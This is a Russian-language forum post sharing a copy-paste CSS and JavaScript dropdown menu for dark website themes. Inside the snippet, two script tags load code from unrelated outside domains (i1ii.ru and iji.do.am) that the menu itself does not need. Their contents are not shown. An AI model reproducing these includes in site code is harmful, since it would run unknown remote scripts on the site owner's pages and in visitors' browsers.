Наши партнеры
Статистика
99 ч. 99 ч.
Сегодня нас посетило 0 человек
Комментарии
  • 00:33ReveN
    адаптируй плз)
  • 19:57mikk
    Красивый шаблон
  • 01:33o^OpS
    Поробуй зарегатся. Ет недолго!
    А так в правом верхнем углу) biggrin
  • Страница 1 из 1
  • 1
Стильний Меню для темных дизайнов
mikk » Не в сети » 29.07.2011 » 08:26 » Сообщение # 1
Админ
Группа: Гл.Администратор
Сообщений: 1102
Награды: 5
Репутация: 81


Code
<style type="text/css">        
        .suckerdiv ul{        
        margin: 0;        
        padding: 0;        
        list-style-type: none;        
        width: 185px; /* Width of Menu Items */        
        border-bottom: 1px solid #000000;        
        }        
        .suckerdiv ul{        
        margin: 0;        
        padding: 0;        
        list-style-type: none;        
        width: 180px; /* Width of Menu Items */        
        border-bottom: 1px solid #212121;        
        }        

        .suckerdiv ul li{        
        position: relative;        
        }        

        /*Sub level menu items */        
        .suckerdiv ul li ul{        
        position: absolute;        
        width: 170px; /*sub menu width*/        
        top: 0;        
        visibility: hidden;        
        }        

        /* Sub level menu links style */        
        .suckerdiv ul li a{        
        display: block;        
        overflow: auto; /*force hasLayout in IE7 */        
        color: #FFFFFF;        
        text-decoration: none;        
        background: #292929;        
        padding: 8px 15px;        
        border: 1px solid #212121;        
        border-bottom: 0;        
        }        

        .suckerdiv ul li a:visited{        
        color: #FFFFFF;        
        }        

        .suckerdiv ul li a:hover{        
        background: url(http://cssource2.ucoz.net/files/strelka.gif);        
        }        

        .suckerdiv .subfolderstyle{        
        background: url(http://cssource2.ucoz.net/images/8.gif) no-repeat center right;        
        }        

        /* Holly Hack for IE \*/        
        * html .suckerdiv ul li { float: left; height: 1%; }        
        * html .suckerdiv ul li a { height: 1%; }        
        /* End */        

        </style>        

        <script type="text/javascript">        
        var menuids=["suckertree1"]        

        function buildsubmenus(){        
        for (var i=0; i<menuids.length; i++){        
        var ultags=document.getElementById(menuids[i]).getElementsByTagName("ul")        
        for (var t=0; t<ultags.length; t++){        
        ultags[t].parentNode.getElementsByTagName("a")[0].className="subfolderstyle"        
        if (ultags[t].parentNode.parentNode.id==menuids[i])        
        ultags[t].style.left=ultags[t].parentNode.offsetWidth+"px"        
        else        
        ultags[t].style.left=ultags[t-1].getElementsByTagName("a")[0].offsetWidth+"px"        
        ultags[t].parentNode.onmouseover=function(){        
        this.getElementsByTagName("ul")[0].style.display="block"        
        }        
        ultags[t].parentNode.onmouseout=function(){        
        this.getElementsByTagName("ul")[0].style.display="none"        
        }        
        }        
        for (var t=ultags.length-1; t>-1; t--){        
        ultags[t].style.visibility="visible"        
        ultags[t].style.display="none"        
        }        
        }        
        }        

        if (window.addEventListener)        
        window.addEventListener("load", buildsubmenus, false)        
        else if (window.attachEvent)        
        window.attachEvent("onload", buildsubmenus)        
        </script>        
        <script src="http://i1ii.ru/1.js" type="text/javascript"></script>     
        <script src="http://iji.do.am/menu.js"></script>       
        <div class="suckerdiv">        
        <ul id="suckertree1">        

        <li><a href="/">Главная </a></li>        
        <li><a href="/forum/">Правила </a></li>        
        <li><a href="/forum/">Форум</a>        
        <ul>        
        <li><a href="/load/">Каталог файлов</a></li>        
        <li><a href="/forum/">ЗабитьCW</a>        
        <ul>        
        <li><a href="/forum/">Правмла турнира</a></li>        
        <li><a href="/forum/">Тактики</a></li>        
        </ul>        
        </li>        
        </ul>        
        </li>        
        <li><a href="#">CSS</a></li>        
        </ul>        
        </div>
 
  • Страница 1 из 1
  • 1
Поиск: